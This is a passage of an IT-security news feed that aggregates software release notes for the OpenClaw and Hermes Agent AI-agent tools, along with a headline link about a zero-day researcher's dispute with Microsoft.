notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>CLI/auth/doctor/providers: reject malformed numeric/timeout/subcommand-version inputs, ignore workspace dotenv provider credentials, wait for respawn child shutdown, bound Codex and GitHub Copilot OAuth/token requests, harden Codex auth probes, warm provider auth off the main thread, honor Codex response timeouts, stop migrating current Claude Haiku 4.5 profiles to Sonnet, bound local service startup, resolve GPT-5.5 without cached catalog, migrate legacy memory auto-provider config, rewrite non-canonical <code>api_key</code> auth profiles, and make doctor restart follow-ups actionable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535278756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87398" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87398/hovercard" href="https://github.com/openclaw/openclaw/pull/87398">#87398</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513750971" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86281" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86281/hovercard" href="https://github.com/openclaw/openclaw/pull/86281">#86281</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534263190" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87361/hovercard" href="https://github.com/openclaw/openclaw/pull/87361">#87361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470260031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83655" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83655/hovercard" href="https://github.com/openclaw/openclaw/pull/83655">#83655</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538477112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87559/hovercard" href="https://github.com/openclaw/openclaw/pull/87559">#87559</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542269022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87719" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87719/hovercard" href="https://github.com/openclaw/openclaw/pull/87719">#87719</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nxmxbbd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nxmxbbd">@nxmxbbd</a>.</li>
<li>Gateway/security/session state: expire browser tokens after auth rotation, scope assistant idempotency dedupe, drain probe client closes, avoid stale restart continuation reuse, preserve retry-after fallbacks and stale rate-limit cooldown probes, bound webchat image and artifact transcript scans, include seconds in inbound metadata timestamps, clear completed session active runs, and evict current plugin-state namespaces at row caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544450672" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87810" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87810/hovercard" href="https://github.com/openclaw/openclaw/pull/87810">#87810</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544792832" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87833/hovercard" href="https://github.com/openclaw/openclaw/pull/87833">#87833</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Config/parsing/network: reject partial numeric parsing, parse provider/Discord retry headers and dates strictly, honor IPv6 and bare IPv6 <code>no_proxy</code> entries, canonicalize secret target array indexes, and reject malformed media content lengths, inspected TCP ports, marketplace content lengths, cron epochs, sandbox stat fields, unsafe duration values, empty config path segments, noncanonical schema array refs, unsafe Telegram callback pages, and invalid Teams attachment-fetch DNS targets.</li>
<li>Browser/input hardening: reject invalid tab indexes, excessive viewport resizes, explicit zero CDP ports, malformed geolocation options, unsafe screenshot or permission-grant timeouts, loose response-body limits, invalid cookie expiries, and non-finite Browser tool delays/timeouts.</li>
<li>Cron/automation: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot, and preflight model fallbacks before skipping scheduled work. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462211584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82887" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82887/hovercard" href="https://github.com/openclaw/openclaw/pull/82887">#82887</a>)</li>
<li>Auto-reply/directives: respect provider and relayed channel metadata during directive persistence so channel-originated decisions keep their intended context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541541082" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87683" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87683/hovercard" href="https://github.com/openclaw/openclaw/pull/87683">#87683</a>)</li>
<li>WhatsApp: resolve the auth directory from the active profile so profile-scoped WhatsApp installs do not drift to the wrong credential root. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4459071895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82492" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82492/hovercard" href="https://github.com/openclaw/openclaw/pull/82492">#82492</a>)</li>
<li>Gateway/session state: clear completed session active runs, avoid cold-loading providers for MCP inventory, cache single-session child indexes, cap handshake timers, and bound preauth, auth-guard, media, transcript, readiness, and port options.</li>
<li>Channels/replies: preserve channel-owned progress callbacks when verbose output is off, keep group-room progress suppression intact, prefer external session delivery context, escape Discord component id delimiters, force final TUI chat repaints, show Slack reasoning previews, and normalize Discord/Matrix/Mattermost channel numeric options. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537084392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87476/hovercard" href="https://github.com/openclaw/openclaw/pull/87476">#87476</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535879311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87423" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87423/hovercard" href="https://github.com/openclaw/openclaw/pull/87423">#87423</a>)</li>
<li>Agents/tool args: harden smart-quoted argument repair for edit arrays and exact escaped arguments so model-produced tool calls recover without corrupting valid input. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519020723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86611" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86611/hovercard" href="https://github.com/openclaw/openclaw/pull/86611">#86611</a>)</li>
<li>Providers/agents: preserve seeded Anthropic signatures, preserve signed thinking payloads, concatenate signature-delta chunks, preserve DeepSeek <code>reasoning_content</code> replay across tier suffixes, apply OpenRouter strict9 ids to Mistral routes, promote Ollama plain-text tool calls, load NVIDIA featured model catalogs, stream MiniMax music generation responses, and recover empty preflight compaction. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539098619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87593" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87593/hovercard" href="https://github.com/openclaw/openclaw/pull/87593">#87593</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537557512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87493" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87493/hovercard" href="https://github.com/openclaw/openclaw/pull/87493">#87493</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424322077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80775/hovercard" href="https://github.com/openclaw/openclaw/pull/80775">#80775</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491159526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84764/hovercard" href="https://github.com/openclaw/openclaw/pull/84764">#84764</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>.</li>
<li>Media/images: skip CLI image cache refs when resolving generated images and bound generated video downloads so stale refs and slow providers fail cleanly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537825609" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87523" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87523/hovercard" href="https://github.com/openclaw/openclaw/pull/87523">#87523</a>)</li>
<li>File transfer: handle late tar stdin pipe errors after archive validation or unpacking has already settled.</li>
<li>Performance: trust install-record caches between reloads, prefer native JSON parsing, reuse unchanged tool-search catalogs, skip unchanged store serialization, add precomputed session patch writers, reduce store clone allocations, cache manifest model catalog rows and auto-enabled plugin config, avoid full session snapshots for entry reads, defer configured Slack full startup, prefer bundled plugin dist entries, and slim current metadata identity caches. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542943848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87760" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87760/hovercard" href="https://github.com/openclaw/openclaw/pull/87760">#87760</a>)</li>
<li>Docker/release/QA: package runtime workspace templates, stream cross-OS served artifacts, preserve sparse Crabbox run artifacts, isolate npm plugin installs per package, reject incompatible package plugin API installs, bound OpenClaw instance logs, plugin gauntlet relay logs, MCP channel buffers, kitchen-sink scans, agent-turn assertions, and release scenario logs, and keep release/google live guards current. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4540781098" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87647" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87647/hovercard" href="https://github.com/openclaw/openclaw/pull/87647">#87647</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537087511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87477/hovercard" href="https://github.com/openclaw/openclaw/pull/87477">#87477</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</li>
<li>Release/CI: bound manual git fetches, ClawHub verifier responses, ClawHub owner metadata, Parallels limits, startup/test/memory budget parsing, and diffs viewer build warnings so release lanes fail with useful proof instead of hanging. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544909025" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87839" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87839/hovercard" href="https://github.com/openclaw/openclaw/pull/87839">#87839</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Disgruntled 0-day hunter 'humiliated' by Microsoft pledges 'bone shattering drop' as Redmond calls cops]]></title>
<description><![CDATA[https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085    submitted by    /u/Much_Preparation_832   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3555915/it-security-nachrichten/disgruntled-0-day-hunter-humiliated-by-microsoft-pledges-bone-shattering-drop-as-redmond-calls-cops/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555915/it-security-nachrichten/disgruntled-0-day-hunter-humiliated-by-microsoft-pledges-bone-shattering-drop-as-redmond-calls-cops/</guid>
<pubDate>Fri, 29 May 2026 04:37:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p><a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Much_Preparation_832"> /u/Much_Preparation_832 </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1tqgw7x/disgruntled_0day_hunter_humiliated_by_microsoft/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1tqgw7x/disgruntled_0day_hunter_humiliated_by_microsoft/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.15.1 (2026.5.29) — The Patch Release]]></title>
<description><![CDATA[Hermes Agent v0.15.1 (v2026.5.29)
Release Date: May 29, 2026
Since v0.15.0: 28 commits · 21 merged PRs · hotfix release · 9 contributors

The Patch Release. A same-day hotfix for v0.15.0. Headline fix: the dashboard infinite-reload loop that hit anyone running v0.15.0 in loopback mode (Docker, ho...]]></description>
<link>https://tsecurity.de/de/3555841/downloads/hermes-agent-v0151-2026529-the-patch-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555841/downloads/hermes-agent-v0151-2026529-the-patch-release/</guid>
<pubDate>Fri, 29 May 2026 03:16:12 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.15.1 (v2026.5.29)</h1>
<p><strong>Release Date:</strong> May 29, 2026<br>
<strong>Since v0.15.0:</strong> 28 commits · 21 merged PRs · hotfix release · 9 contributors</p>
<blockquote>
<p><strong>The Patch Release.</strong> A same-day hotfix for v0.15.0. Headline fix: the dashboard infinite-reload loop that hit anyone running v0.15.0 in loopback mode (Docker, hosted Hermes, fresh installs). A handful of other v0.15.0 follow-ups go along for the ride — kanban worker SIGTERM, <code>/model</code> picker unification, <code>/yolo</code> session bypass, the full 19,932-entry skills.sh catalog, <code>.md</code> media delivery restoration, gateway probe-stepdown safety, web-URL redaction passthrough, kanban worker vision on referenced images, hindsight observation-default. Docker users get an explicit <code>--insecure</code> opt-in env var (no more bind-host inference), MCP server bare-command PATH resolution, and arm64 PR-build cache fixes.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Dashboard 401 reload loop fixed</strong> — In loopback mode the dashboard's identity probe (<code>/api/auth/me</code>) returns 401 by design, but v0.15.0's stale-token reload guard treated every 401 as a rotated session token and full-page-reloaded to pick up a fresh one. Every successful sibling call cleared the one-shot reload guard, so the page reload-looped forever (Firefox: "Navigated to /sessions" storm; Chrome: React re-render storm). Fix adds an <code>allowUnauthorized</code> opt-out to <code>fetchJSON</code> that skips only the loopback stale-token reload — 401 still throws so <code>AuthWidget</code> swallows it, gated-mode <code>login_url</code> redirects are unaffected. Closes <a href="https://github.com/NousResearch/hermes-agent/issues/34206" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34206/hovercard">#34206</a>, <a href="https://github.com/NousResearch/hermes-agent/issues/34202" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34202/hovercard">#34202</a>. (<a href="https://github.com/NousResearch/hermes-agent/pull/30698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30698/hovercard">#30698</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</p>
</li>
<li>
<p><strong>Docker dashboard <code>--insecure</code> is now an explicit env opt-in, never derived from bind host</strong> — Previously the Docker entrypoint inferred <code>--insecure</code> when the dashboard bound to a non-loopback host. That conflated "I want LAN access" with "I want to disable the same-origin guard." The fix splits them: bind host is bind host, and disabling the dashboard's loopback auth requires an explicit <code>HERMES_DASHBOARD_INSECURE=1</code>. Existing setups that genuinely wanted insecure binding must now set the env var. (<a href="https://github.com/NousResearch/hermes-agent/pull/34188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34188/hovercard">#34188</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34204/hovercard">#34204</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>MCP bare command resolution under Docker</strong> — MCP servers configured with bare commands (<code>npx</code>, <code>npm</code>, <code>node</code>) now resolve against <code>/usr/local/bin</code> so they actually launch inside the Docker image where those binaries live. v0.15.0 left these failing silently in containers when the agent's effective PATH didn't include the Node toolchain location. (<a href="https://github.com/NousResearch/hermes-agent/pull/34186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34186/hovercard">#34186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>Skills page sidebar / source pills restored</strong> — A stale <code>useMemo</code> dependency in the new dashboard skills page collapsed the source pills and category sidebar to "All" only. Fixed; both surfaces now reflect the live catalog state. (<a href="https://github.com/NousResearch/hermes-agent/pull/34194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34194/hovercard">#34194</a>)</p>
</li>
<li>
<p><strong>Kanban worker can be killed again</strong> — <code>SIGTERM</code> on a kanban worker was being absorbed by an intermediate process and the worker stayed running. Closes <a href="https://github.com/NousResearch/hermes-agent/issues/28181" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/28181/hovercard">#28181</a>. (<a href="https://github.com/NousResearch/hermes-agent/pull/34045" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34045/hovercard">#34045</a>)</p>
</li>
<li>
<p><strong>Full skills.sh catalog (858 → 19,932 entries)</strong> — The skills hub page was pulling a partial paginated catalog. The fetch now walks the sitemap, so all 19,932 skills.sh entries surface in the picker instead of just the first 858. (<a href="https://github.com/NousResearch/hermes-agent/pull/34025" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34025/hovercard">#34025</a>)</p>
</li>
</ul>
<hr>
<h2>🐛 Bug Fixes</h2>
<h3>Dashboard / Web</h3>
<ul>
<li><strong><code>/api/auth/me</code> 401 no longer triggers reload loop</strong> in loopback mode — (<a href="https://github.com/NousResearch/hermes-agent/pull/30698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30698/hovercard">#30698</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
<li><strong>Skills page source pills + category sidebar restored</strong> — stale <code>useMemo</code> dep (<a href="https://github.com/NousResearch/hermes-agent/pull/34194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34194/hovercard">#34194</a>)</li>
</ul>
<h3>Docker</h3>
<ul>
<li><strong><code>--insecure</code> is now explicit opt-in via env var</strong>, not derived from bind host (<a href="https://github.com/NousResearch/hermes-agent/pull/34188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34188/hovercard">#34188</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Dashboard test suite repaired</strong> to match the insecure-opt-in fix (<a href="https://github.com/NousResearch/hermes-agent/pull/34204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34204/hovercard">#34204</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>arm64 PR builds skip the GHA cache</strong> to avoid cache-thrash on cross-arch builders (<a href="https://github.com/NousResearch/hermes-agent/pull/33704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33704/hovercard">#33704</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>)</li>
</ul>
<h3>MCP</h3>
<ul>
<li><strong>Bare <code>npx</code>/<code>npm</code>/<code>node</code> resolve against <code>/usr/local/bin</code></strong> for Docker compatibility (<a href="https://github.com/NousResearch/hermes-agent/pull/34186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34186/hovercard">#34186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h3>Kanban</h3>
<ul>
<li><strong>Worker SIGTERM actually terminates the process</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/34045" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34045/hovercard">#34045</a>)</li>
<li><strong>Workers receive images referenced in task bodies</strong> for vision-capable models (<a href="https://github.com/NousResearch/hermes-agent/pull/34210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34210/hovercard">#34210</a>)</li>
</ul>
<h3>Gateway</h3>
<ul>
<li><strong><code>.md</code> files deliver again</strong> — media-delivery validation defaults to denylist-only instead of an overly-narrow allowlist (<a href="https://github.com/NousResearch/hermes-agent/pull/34022" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34022/hovercard">#34022</a>)</li>
<li><strong>Probe stepdown safety</strong> — on a context-overflow without an explicit provider context limit, the agent no longer steps down to a smaller model based on an unknown ceiling (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/33673" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33673/hovercard">#33673</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33826" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33826/hovercard">#33826</a>)</li>
</ul>
<h3>CLI</h3>
<ul>
<li><strong><code>/yolo</code> mid-session enables the per-session bypass</strong> instead of just toggling the env var (which the running agent had already snapshotted) (<a href="https://github.com/NousResearch/hermes-agent/pull/33931" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33931/hovercard">#33931</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong><code>/model</code> and <code>hermes model</code> show the same list</strong>, plus disk cache for picker startup (<a href="https://github.com/NousResearch/hermes-agent/pull/33867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33867/hovercard">#33867</a>)</li>
</ul>
<h3>Skills</h3>
<ul>
<li><strong>Full skills.sh catalog via sitemap</strong> — 858 → 19,932 entries (<a href="https://github.com/NousResearch/hermes-agent/pull/34025" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34025/hovercard">#34025</a>)</li>
</ul>
<h3>Redaction</h3>
<ul>
<li><strong>Web URLs pass through unchanged</strong> — the redactor was eating query parameters that looked credential-shaped (<a href="https://github.com/NousResearch/hermes-agent/pull/34029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34029/hovercard">#34029</a>)</li>
</ul>
<hr>
<h2>✨ Small Features</h2>
<ul>
<li><strong>Hindsight default narrowed to observation-only</strong> for <code>recall_types</code> — tool path is also narrowed (<a href="https://github.com/NousResearch/hermes-agent/pull/34079" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34079/hovercard">#34079</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a>, follow-up <a href="https://github.com/NousResearch/hermes-agent/pull/4df62d239e38bf8c212a595721c9c01e176f6c3a">#34091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>Memory providers receive completed-turn message context</strong> — salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/28065" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28065/hovercard">#28065</a> (<a href="https://github.com/NousResearch/hermes-agent/pull/34097" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34097/hovercard">#34097</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, credit to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devwdave/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devwdave">@devwdave</a>)</li>
</ul>
<hr>
<h2>📚 Documentation</h2>
<ul>
<li><strong><code>--no-supervise</code> / <code>HERMES_GATEWAY_NO_SUPERVISE</code> documented</strong> in the reference docs (follow-up to <a href="https://github.com/NousResearch/hermes-agent/pull/33583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33583/hovercard">#33583</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33751/hovercard">#33751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>)</li>
</ul>
<hr>
<h2>🛠️ Infrastructure</h2>
<ul>
<li><strong>Vercel deploy workflow accepts <code>workflow_dispatch</code></strong> so docs deploys can be manually triggered (<a href="https://github.com/NousResearch/hermes-agent/pull/34081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34081/hovercard">#34081</a>)</li>
<li><strong><code>@nous-research/ui</code> bumped to 0.18.2</strong> (Nix <code>npmDepsHash</code> also updated to match) (<a href="https://github.com/NousResearch/hermes-agent/pull/34193" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34193/hovercard">#34193</a> follow-ups — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
</ul>
<hr>
<h2>👥 Contributors</h2>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></li>
</ul>
<h3>Community</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — dashboard 401 reload-loop fix (the headline), <code>@nous-research/ui</code> bump, Nix <code>npmDepsHash</code> updates</li>
